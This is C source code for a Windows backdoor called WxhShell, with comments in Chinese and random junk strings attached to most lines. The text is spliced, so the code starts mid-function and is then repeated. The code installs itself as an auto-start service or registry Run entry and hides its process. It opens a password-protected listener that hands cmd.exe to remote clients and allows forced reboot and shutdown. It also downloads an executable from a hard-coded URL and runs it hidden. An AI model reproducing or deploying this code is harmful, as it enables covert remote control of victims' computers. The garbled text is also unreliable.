  case 'd': { QBh*x/J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @C%6Wo4l3  
    if(Boot(SHUTDOWN)) ST2:&xH(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zf>*\pZE  
    else { ;;6$d{  
    closesocket(wsh); Lt ^*L% x  
    ExitThread(0); Gt)ij?~  
    } w'E(9gV  
    break; w{ ;Sp?Os  
    } v: veKA  
  // 获取shell yf7|/M  
  case 's': { Mh{244|o[  
    CmdShell(wsh); /b\c<'3NY  
    closesocket(wsh); `~z[Hj=2  
    ExitThread(0); zhJ0to[%?  
    break; 5|cRHM#  
  } 'E&tEbY  
  // 退出  AGm=0Om  
  case 'x': { wJD'q\n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N<ux4tz  
    CloseIt(wsh); ,}O33BwJp  
    break; C`R<55x6  
    } iL2__TO  
  // 离开 5KP\#Y  
  case 'q': { OADW;fj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ':3[?d1Es  
    closesocket(wsh); G<* Iw>ep  
    WSACleanup(); C1+f\A|9FP  
    exit(1); .9N7`  
    break; #uF`|M$u  
        } ~KRS0 ^  
  } y+Hz(}4  
  } D(OJr5Gg  
1$+8wDVwad  
  // 提示信息 @+l=R|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J ?EDz,  
} 8t. QFze?  
  } I&m' a  
vw4b@v-XQ3  
  return; _-3n'i8  
} 0n'v F&E8  
}%z%}V@(&  
// shell模块句柄 ;>L8&m)R5  
int CmdShell(SOCKET sock) K8Q3~bMf  
{ P@f#DX )  
STARTUPINFO si; "}wO<O6[  
ZeroMemory(&si,sizeof(si)); vK[%c A"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ctn 4q'Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z:$ibk4#h  
PROCESS_INFORMATION ProcessInfo; ) P>/g*  
char cmdline[]="cmd"; TEh.?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #4lIna%VX  
  return 0; {z\K!=X/  
} lZuH:AH  
rwVp}H G  
// 自身启动模式 Y SB=n d_  
int StartFromService(void) d^J)Mhju  
{ PZ`11#bbm  
typedef struct zj(V\y&H  
{ #]6{>n1*+w  
  DWORD ExitStatus; yCA8/)>Gm  
  DWORD PebBaseAddress; ma+AFCi  
  DWORD AffinityMask; ~\AF\n%  
  DWORD BasePriority; kiyc^s  
  ULONG UniqueProcessId; Ix}6%2\  
  ULONG InheritedFromUniqueProcessId; /Q3\6DCl  
}   PROCESS_BASIC_INFORMATION; e0h[(3bXs$  
+'-.c"  
PROCNTQSIP NtQueryInformationProcess; vg5_@7  
/s~S\dG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EEnl'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "TJ*mN.i{}  
atF#0*e>  
  HANDLE             hProcess; ~D>pu%F  
  PROCESS_BASIC_INFORMATION pbi; KX]!yA  
g&y^r/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2,F9P+  
  if(NULL == hInst ) return 0; k}Q<#   
I8j:{*h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kaXq.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pmvd%X\f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ];4!0\M  
U: Wet,  
  if (!NtQueryInformationProcess) return 0; rv(?%h`  
4l%1D.3-O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w3ni@'X8  
  if(!hProcess) return 0; ?h&?`WO (  
 u\L}B!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^a_a%ws  
4k-Ak6s  
  CloseHandle(hProcess); $\Y&2&1s  
pITF%J@_]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qSB&Q0T  
if(hProcess==NULL) return 0; J (?qk  
* dw.Ug  
HMODULE hMod; bY=[ USgps  
char procName[255]; R-j*fO}  
unsigned long cbNeeded; GPK\nz}  
1*Pxndt&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); / De~K+w7o  
.= ?*Wp  
  CloseHandle(hProcess); cO*g4VL"[  
N UX |  
if(strstr(procName,"services")) return 1; // 以服务启动 QJRnpN/  
#$- E5R;x  
  return 0; // 注册表启动 - ~|Gwr"  
} %&yPl{  
)\=xPfs  
// 主模块 w+R7NFq  
int StartWxhshell(LPSTR lpCmdLine) *H/3xPh,*  
{ 6<<"9mxK  
  SOCKET wsl; (pd$?vRy  
BOOL val=TRUE; &<]f-  
  int port=0; B(++*#T!^m  
  struct sockaddr_in door; P .m@|w&.K  
.Mb[j1L^  
  if(wscfg.ws_autoins) Install(); ur\6~'l4  
L|T?,^  
port=atoi(lpCmdLine); Rbf6/C  
, :#bo]3  
if(port<=0) port=wscfg.ws_port; 32<D9_  
Qk:Lo*!  
  WSADATA data; mGj)Zrx>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5M~{MdF|.  
`a4&_`E,p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5b7(^T^K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hOU H1m.  
  door.sin_family = AF_INET; 'UIFP#GtFO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *G> x07S)~  
  door.sin_port = htons(port); #@$80eFq  
*uhQP47B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p35=CX`T.  
closesocket(wsl); I[Lg0H8  
return 1; /;#kV]nF  
} &,k!,<IF  
M`H#Qo5/  
  if(listen(wsl,2) == INVALID_SOCKET) { p8~lGuH  
closesocket(wsl); !%,7*F(  
return 1; jU j\<aW  
} 9kH~=`:?  
  Wxhshell(wsl); u^tQ2&?O!P  
  WSACleanup(); Ig `q[o  
}} =n]_f  
return 0; E]OexRJ^i  
/'rj L<M  
} N|DI k  
qY#*LqV  
// 以NT服务方式启动 UhDQl%&He  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]- 1(r,  
{ 9{jMO  
DWORD   status = 0; +Y sGH~jX  
  DWORD   specificError = 0xfffffff; #&}- q RA  
CUI3^;&S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {5E8eQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J[ Gpd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SKL4U5D{  
  serviceStatus.dwWin32ExitCode     = 0; @|anu&Hm  
  serviceStatus.dwServiceSpecificExitCode = 0; Y,)(Q  
  serviceStatus.dwCheckPoint       = 0; Xfq`k/ W  
  serviceStatus.dwWaitHint       = 0; o+E~iC u5  
0+FPAqX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V#7,vas  
  if (hServiceStatusHandle==0) return; XIl <rN@-  
Jw;~$  
status = GetLastError(); @*YF!LdU{M  
  if (status!=NO_ERROR) ]<>cjk.ya  
{ =6[.||9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u?Ffqt9'  
    serviceStatus.dwCheckPoint       = 0; ?s^qWA  
    serviceStatus.dwWaitHint       = 0; )j36Y =r3  
    serviceStatus.dwWin32ExitCode     = status; ,<rC,4-F<  
    serviceStatus.dwServiceSpecificExitCode = specificError; h+Co:pr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); */;7Uv7  
    return; ,TQec:B  
  } XjGS.&'I  
>&PM'k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ; j!dbT~5  
  serviceStatus.dwCheckPoint       = 0; m^3x%ENZ  
  serviceStatus.dwWaitHint       = 0; S; % &X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,<Q  
} pWV_KS  
d?*] /ZiR  
// 处理NT服务事件,比如:启动、停止 PEf yHf7`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) loVg{N :  
{ Fc5.?X-  
switch(fdwControl) X,k^p[Rcu  
{ $gUlM+sK  
case SERVICE_CONTROL_STOP: |H?t+Dyn)q  
  serviceStatus.dwWin32ExitCode = 0; ^jMrM.GY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; + `|A/w  
  serviceStatus.dwCheckPoint   = 0; s:3[#&PQpN  
  serviceStatus.dwWaitHint     = 0; o9eOp3w30  
  { [I *_0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TJ"-cWpO1  
  } xnZnbgO+  
  return; )zr*Ecz  
case SERVICE_CONTROL_PAUSE: BiYxI{VFD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b)d;eS  
  break; H9*k(lnz`  
case SERVICE_CONTROL_CONTINUE: >@2<^&K`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zZ=SAjT QP  
  break; {=Zy;Er  
case SERVICE_CONTROL_INTERROGATE: }4|EHhG  
  break; ~Gu$E qQ  
}; :wC\IwG~CE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :0J`4  
}  >(Y CZ  
;qWu8\T+  
// 标准应用程序主函数 su%(!XJQpg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z2g'&,uc#  
{ |.N[NY  
Bh3F4k2bg7  
// 获取操作系统版本 }>@\I^Xm,  
OsIsNt=GetOsVer(); !Km[Qw k-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?})A-$f ~  
i>Q!5  
  // 从命令行安装 dCd~]CI  
  if(strpbrk(lpCmdLine,"iI")) Install(); Nz dN4+  
ukiWNF/  
  // 下载执行文件 aK_5@8+ZD  
if(wscfg.ws_downexe) { F)^0R%{C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u} ot-!}Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); dQ`Tt- n  
} =:]ps<Qx  
h&>3;Lj  
if(!OsIsNt) { cb}zCl j o  
// 如果时win9x,隐藏进程并且设置为注册表启动 (;{X-c}?  
HideProc(); _SBbd9  
StartWxhshell(lpCmdLine); Z1HH0{q-A  
} 4IeCb?  
else l f>/  
  if(StartFromService()) k =! Q  
  // 以服务方式启动 {MgRi 7  
  StartServiceCtrlDispatcher(DispatchTable); b84l`J  
else 2%%\jlT_  
  // 普通方式启动 =]7o+L4  
  StartWxhshell(lpCmdLine); p!UR;xHI\  
ALMsF2H  
return 0; o2!738  
} K<>kT4  
e5' I W__  
4aXIRu%#7  
1/}H 0\9'  
=========================================== =-U0r$sK+F  
sO .MUj;  
b>-DX  
FLi'}C  
yK*vn]}  
_ Sr}3  
" Ge q]wv8  
l2 .S^S  
#include <stdio.h> `2.c=,S{  
#include <string.h> 1VJ${\H]  
#include <windows.h> pD<w@2K  
#include <winsock2.h> ;R?@ D]  
#include <winsvc.h> 0AB a&'h  
#include <urlmon.h> p'jc=bL E  
=5|7S&{  
#pragma comment (lib, "Ws2_32.lib") p<fCGU  
#pragma comment (lib, "urlmon.lib") TLwxP"  
RjW wsC~B  
#define MAX_USER   100 // 最大客户端连接数 Q %o@s3~O  
#define BUF_SOCK   200 // sock buffer tsb[=W!Ar8  
#define KEY_BUFF   255 // 输入 buffer rB[J*5v  
!Z$d<~Mq q  
#define REBOOT     0   // 重启 JEto_&8,C  
#define SHUTDOWN   1   // 关机 N~)-\T:ap  
`zQuhD 8W  
#define DEF_PORT   5000 // 监听端口 Y1PR?c Q  
:j&enP5R(q  
#define REG_LEN     16   // 注册表键长度 ~o'1PAW7  
#define SVC_LEN     80   // NT服务名长度 & zDuh[j}  
f.6>6%l  
// 从dll定义API &4?&tGi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]C \+b <  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )?rq8VO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B>2R-pa4~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ` Ig5*X4|  
FV^jCseZ  
// wxhshell配置信息 6`e{l+c=F  
struct WSCFG { _b&|0j:Ud  
  int ws_port;         // 监听端口 ~,)jZ-fw  
  char ws_passstr[REG_LEN]; // 口令 6W i n!4  
  int ws_autoins;       // 安装标记, 1=yes 0=no d/d)MoaJ*t  
  char ws_regname[REG_LEN]; // 注册表键名 h P6f   
  char ws_svcname[REG_LEN]; // 服务名 qAjtvc2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SXL3>-Z E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {$frR "K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4"P9z}y=i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YC6T0m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MPB[~#:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :>&q?xvA  
&da=hc,>%  
}; C$w%! jE  
u^2`$W  
// default Wxhshell configuration CNNqS^ct  
struct WSCFG wscfg={DEF_PORT, [> HKRVy  
    "xuhuanlingzhe", [mtp-4*  
    1, ob7'''i  
    "Wxhshell", gVG^R02#<k  
    "Wxhshell", -`L`kL<  
            "WxhShell Service", l(>6Yq  
    "Wrsky Windows CmdShell Service", a{8a[z  
    "Please Input Your Password: ", "| '~y}v_  
  1, dseI~}  
  "http://www.wrsky.com/wxhshell.exe", ZLQmEF[>  
  "Wxhshell.exe" !#0)`4O  
    }; j<^!"_G]*?  
u({^8: AYu  
// 消息定义模块 .<m]j;|6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Zl>SeTjB-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^6W}ZLp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k~[jk5te  
char *msg_ws_ext="\n\rExit."; #49l\>1 z  
char *msg_ws_end="\n\rQuit."; <9@n/  
char *msg_ws_boot="\n\rReboot..."; E*'YxI  
char *msg_ws_poff="\n\rShutdown...";  Zmu  
char *msg_ws_down="\n\rSave to "; B}"R@;N  
i%i~qTN  
char *msg_ws_err="\n\rErr!"; opa/+V3E4  
char *msg_ws_ok="\n\rOK!"; yy3rh(ea  
LLx0X O@  
char ExeFile[MAX_PATH]; Ca |}i+  
int nUser = 0; mb*Yw 6q  
HANDLE handles[MAX_USER]; NM. e4  
int OsIsNt; +g1>h ,K 3  
H!;N0",]N  
SERVICE_STATUS       serviceStatus; oG,>Pk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O,%UNjx9K  
mE~ WE+lw9  
// 函数声明 u&~Xgq5[  
int Install(void); J^+w]2`S  
int Uninstall(void); F,_L}  
int DownloadFile(char *sURL, SOCKET wsh); f`qy~M&  
int Boot(int flag); v47' dC  
void HideProc(void); _T)y5/[  
int GetOsVer(void); ?_H9>/:.  
int Wxhshell(SOCKET wsl); OX"Na2-el  
void TalkWithClient(void *cs); /d&m#%9Up]  
int CmdShell(SOCKET sock); x1:mT[[$  
int StartFromService(void); P-X|qVNK1Z  
int StartWxhshell(LPSTR lpCmdLine); I9kz)Q o  
dS1HA>c)O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *R6lK&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I_1?J* b4k  
Y}[<KK}_  
// 数据结构和表定义 e'mF1al  
SERVICE_TABLE_ENTRY DispatchTable[] = \Z5Wp5az},  
{ O*N:A[eW  
{wscfg.ws_svcname, NTServiceMain}, ? 2}%Rb39  
{NULL, NULL} S?v/diK ]J  
}; )G48,. "  
<)d%c%f'`  
// 自我安装 CPZ{  
int Install(void) SK}jhm"y  
{ ~(GvjB/C8  
  char svExeFile[MAX_PATH]; 67EGkW?hbt  
  HKEY key; >nkVZ;tL  
  strcpy(svExeFile,ExeFile); FG${w.e<  
qGX@mo({  
// 如果是win9x系统,修改注册表设为自启动 h3F559bw/<  
if(!OsIsNt) { $:s@nKgnD~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bidFBldKl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bd /A0i?C  
  RegCloseKey(key); a8xvK;`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i[z 2'tx4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6 lzjaW5h  
  RegCloseKey(key); JE O$v|X  
  return 0; {t;o^pUF  
    } `n>/MY  
  } cyNE}  
} Y1cL dQn  
else { $#V'm{Hh  
4&E"{d >  
// 如果是NT以上系统,安装为系统服务 |5flvkid  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >33=0<  
if (schSCManager!=0) _`gF%$]b  
{ Mmz; uy_  
  SC_HANDLE schService = CreateService T#*,ME7|m  
  ( fTEZ@#p  
  schSCManager, yl$Ko  
  wscfg.ws_svcname, 1ZF KLI`V  
  wscfg.ws_svcdisp, !w7/G  
  SERVICE_ALL_ACCESS, -aT-<+?s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , inW7t2p<s  
  SERVICE_AUTO_START, RZW=z}T+H  
  SERVICE_ERROR_NORMAL, K qJE?caw  
  svExeFile, kw59`z Es  
  NULL, ,X/j6\VBO  
  NULL, :}_hz )  
  NULL, ?q6#M&|j/I  
  NULL, Pz50etJ  
  NULL LB@<Q.b,U  
  ); N+.Nu= +i2  
  if (schService!=0) cK|Uwzif d  
  { 7"| Qmyb  
  CloseServiceHandle(schService); ]O;*Y{:Y  
  CloseServiceHandle(schSCManager); Wl3S]4A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FKL4`GEm  
  strcat(svExeFile,wscfg.ws_svcname); rQzdHA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ";U~wZW_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QYH#WrIVx  
  RegCloseKey(key); sd4eG  
  return 0; D@p{EH  
    } ET^?>YsA  
  } Kjbk zc1  
  CloseServiceHandle(schSCManager); Sk EI51]  
} Op0*tj2i),  
} Um/l{:S   
xy`Y7W=  
return 1; emQc%wd{  
} DWtITO>  
RV]#Bg*[#  
// 自我卸载 >-c?+oy  
int Uninstall(void) 7mS Nz.  
{ 5_y w  
  HKEY key; 'A{zH{  
p+b/k2 Q  
if(!OsIsNt) { L)M{S3q,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8}yrsF #  
  RegDeleteValue(key,wscfg.ws_regname); 4evN^es'I_  
  RegCloseKey(key); _L=-z*a\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >4@w|7lS  
  RegDeleteValue(key,wscfg.ws_regname); g]j&F65D  
  RegCloseKey(key); ~AWn 1vFc  
  return 0; aMu6{u6  
  } gjsks(x  
} e <+)IW:  
} S\ak(<X  
else { tRPIvq/  
sm"Rp~[i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5~pxu  
if (schSCManager!=0) kmW/{I9,ua  
{ 6`-<N!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yv=L'0K&  
  if (schService!=0) -e$ T}3IV  
  { Qz=e'H  
  if(DeleteService(schService)!=0) { 4wv0~T$;x  
  CloseServiceHandle(schService); X:t?'41m\  
  CloseServiceHandle(schSCManager); P7>\j*U91{  
  return 0; Tf=1p1!3  
  } ku/vV+&O  
  CloseServiceHandle(schService); ~;6^n  
  } *_YH}U  
  CloseServiceHandle(schSCManager); AxEdQRGk  
} oM1C/=8   
} F&`%L#s|  
a{ke%W$*P  
return 1; &W3srJo  
} t[;-gi,,  
5OPvy,e6  
// 从指定url下载文件 G5|nt#>  
int DownloadFile(char *sURL, SOCKET wsh) v~x`a0  
{ F,as>X#  
  HRESULT hr; cGs& Kn;h  
char seps[]= "/"; PE;<0Cz\  
char *token; ){mqo%{SO  
char *file; >'#vC]@  
char myURL[MAX_PATH]; P#3J@aRC  
char myFILE[MAX_PATH]; kXdXyq  
,f%4xXI  
strcpy(myURL,sURL); d_:f-  
  token=strtok(myURL,seps); @r<2]RXlc  
  while(token!=NULL) KtJc9dnX  
  { jHob{3  
    file=token; CqWO 0  
  token=strtok(NULL,seps); `_.:O,^n^  
  } y%9Hu  
.5>]DZn6  
GetCurrentDirectory(MAX_PATH,myFILE); 63'% +  
strcat(myFILE, "\\"); cjtcEW  
strcat(myFILE, file); 1Z?uT[kR  
  send(wsh,myFILE,strlen(myFILE),0); oNYFbZw  
send(wsh,"...",3,0); !r6Yq,3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;9#%E  
  if(hr==S_OK) B*)mHSs2  
return 0; H/*slqL  
else Hi2JG{i  
return 1; @/N]_2@8;  
&hZ.K"@7{  
} mz x$(u  
#lik: ?  
// 系统电源模块 :RDk{^b)  
int Boot(int flag) 5w~ 0Q  
{ bz 7?F!  
  HANDLE hToken; OZz/ip-!lc  
  TOKEN_PRIVILEGES tkp; Zcw <USF8  
fHwS12SB  
  if(OsIsNt) { OK-*TPrc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T+gH38!e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XxeP;}  
    tkp.PrivilegeCount = 1; yzl}!& E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )b%zYD9p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QxbG-B^)=  
if(flag==REBOOT) { x8c>2w;6x^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PYNY1 |3  
  return 0; vo:h"ti  
} YnU*MC}  
else { *T}c{/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6)ysiAH?  
  return 0; Jw;G_dQ[  
} eC<?g  
  } S&&Q U #  
  else { kZ6:= l  
if(flag==REBOOT) { 1:yil9.\*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #y"LFoJn  
  return 0; UCj<FN `  
} YuHXm3[  
else { `|&0j4(Pg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @o1#J` rv  
  return 0; z[vu- f9  
} *Jt+-ZM  
} LEN=pqGJ.  
/V2yLHm  
return 1; s^.tj41Gx}  
} o*E32#l  
> Xij+tt{  
// win9x进程隐藏模块 *aFh*-Sj2I  
void HideProc(void) ^R :zma  
{ "E4CQL'U  
}Q\+w,pJgN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YUTh*`1k<  
  if ( hKernel != NULL ) pVzr]WFx  
  { BW3Q03SW6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b&Laxki  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '~7zeZ'  
    FreeLibrary(hKernel); -2u)orWP  
  } h3GUFiZ.  
zmu+un"\j  
return; u|\?6fz  
} Nw"?~"bo  
;;C2t&(  
// 获取操作系统版本 uvR l`"Y  
int GetOsVer(void) *c%{b3T_  
{ Hj`\Fm*A  
  OSVERSIONINFO winfo; cdGBo4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  V_e  
  GetVersionEx(&winfo); RU/SJ1wM"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I#]pk!  
  return 1; 6f t6;*,  
  else ; bHS^  
  return 0; QX&Y6CC`]  
} @KHY8y7  
o!&+ _BKw  
// 客户端句柄模块 Vo.~1^  
int Wxhshell(SOCKET wsl) rR/{Yx4  
{ 9@mvG^  
  SOCKET wsh; +!:=Mm  
  struct sockaddr_in client; ^qVBgBPb  
  DWORD myID; /C <p^#g9.  
&U`ug"/k  
  while(nUser<MAX_USER) 6]?W&r|0I  
{ KW ZEi?  
  int nSize=sizeof(client); jS8B:>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [#G*GAa6*  
  if(wsh==INVALID_SOCKET) return 1; ^wwS`vPb  
@Jqo'\~&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M} ri>o  
if(handles[nUser]==0) d.Ccc/1-  
  closesocket(wsh); Wi,)a{  
else G^.tAO5:f  
  nUser++; >lyE@S sA  
  } 0r i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8<ev5af  
SXE@\Afj  
  return 0; 8X278^ #  
} ~4twI*f  
C9""sVs  
// 关闭 socket G;[O~N3n.  
void CloseIt(SOCKET wsh) ~6O~Fth  
{ 9KJ}A i  
closesocket(wsh); 62Tel4u  
nUser--; , )TnIByM  
ExitThread(0); %]4=D)Om  
} jY=M{?h''  
q\gbjci  
// 客户端请求句柄 ~J5B?@2hK  
void TalkWithClient(void *cs) C(z 'oi:f  
{ ?<\2}1  
g>gf-2%Uo  
  SOCKET wsh=(SOCKET)cs; b5KK0Jjk  
  char pwd[SVC_LEN]; to1r 88X  
  char cmd[KEY_BUFF]; *WFd[cKE  
char chr[1]; L`w r~E2u  
int i,j; Br{(sL0e  
P*U^,Jh<  
  while (nUser < MAX_USER) { IGly x'\_  
Y" rODk1  
if(wscfg.ws_passstr) { jT F "  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nZ#u#V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tGbx/$Y   
  //ZeroMemory(pwd,KEY_BUFF); voTP,R[}85  
      i=0; [f[Wz{Q#Y  
  while(i<SVC_LEN) { M"qS#*{  
T5I#7LN#  
  // 设置超时 a<E9@  
  fd_set FdRead; OjG`s-91&  
  struct timeval TimeOut; }*C  
  FD_ZERO(&FdRead); ^-|~c`&}B  
  FD_SET(wsh,&FdRead); ^|hVFM2  
  TimeOut.tv_sec=8; 8$Zwk7 w8A  
  TimeOut.tv_usec=0; m~P30)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =w"Kkj>%oh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); / ;[x3}[  
Q7d@+C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <%rm?;PBl  
  pwd=chr[0]; G$QN_h,}  
  if(chr[0]==0xd || chr[0]==0xa) { 6-g>(g   
  pwd=0; ]|=`-)AP3  
  break; yx*<c#Uf  
  } t y4R2LnC  
  i++; ro3%VA=V  
    } -xN/H,xok  
nG{o$v_|  
  // 如果是非法用户,关闭 socket 5~im.XfiVx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0 VG;z#{J  
} @0NWc c+  
sX*L[3!vN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EwuRIe;D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /& c2y=/'C  
$<&_9T#&w  
while(1) { G%zJ4W%  
K@*4=0  
  ZeroMemory(cmd,KEY_BUFF); .c@Y ?..+  
]%FP*YU4O  
      // 自动支持客户端 telnet标准   @,c` #,F/  
  j=0; KK6z3"tk5  
  while(j<KEY_BUFF) { >msQ@Ch  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )54a' Hp  
  cmd[j]=chr[0]; %W=BdGr[8z  
  if(chr[0]==0xa || chr[0]==0xd) { X=lsuKREZ  
  cmd[j]=0; i3d 2+N`  
  break; 0w< ilJ  
  } sX3qrRY  
  j++; I3'UrKKO  
    } ZitmvcMk  
~ISY( &  
  // 下载文件 :xbj& l  
  if(strstr(cmd,"http://")) { =YfzB!ld  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Zs-lN*u7.  
  if(DownloadFile(cmd,wsh)) (\r^ 0>H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /0fHkj/J=B  
  else L%<]gJtrO  
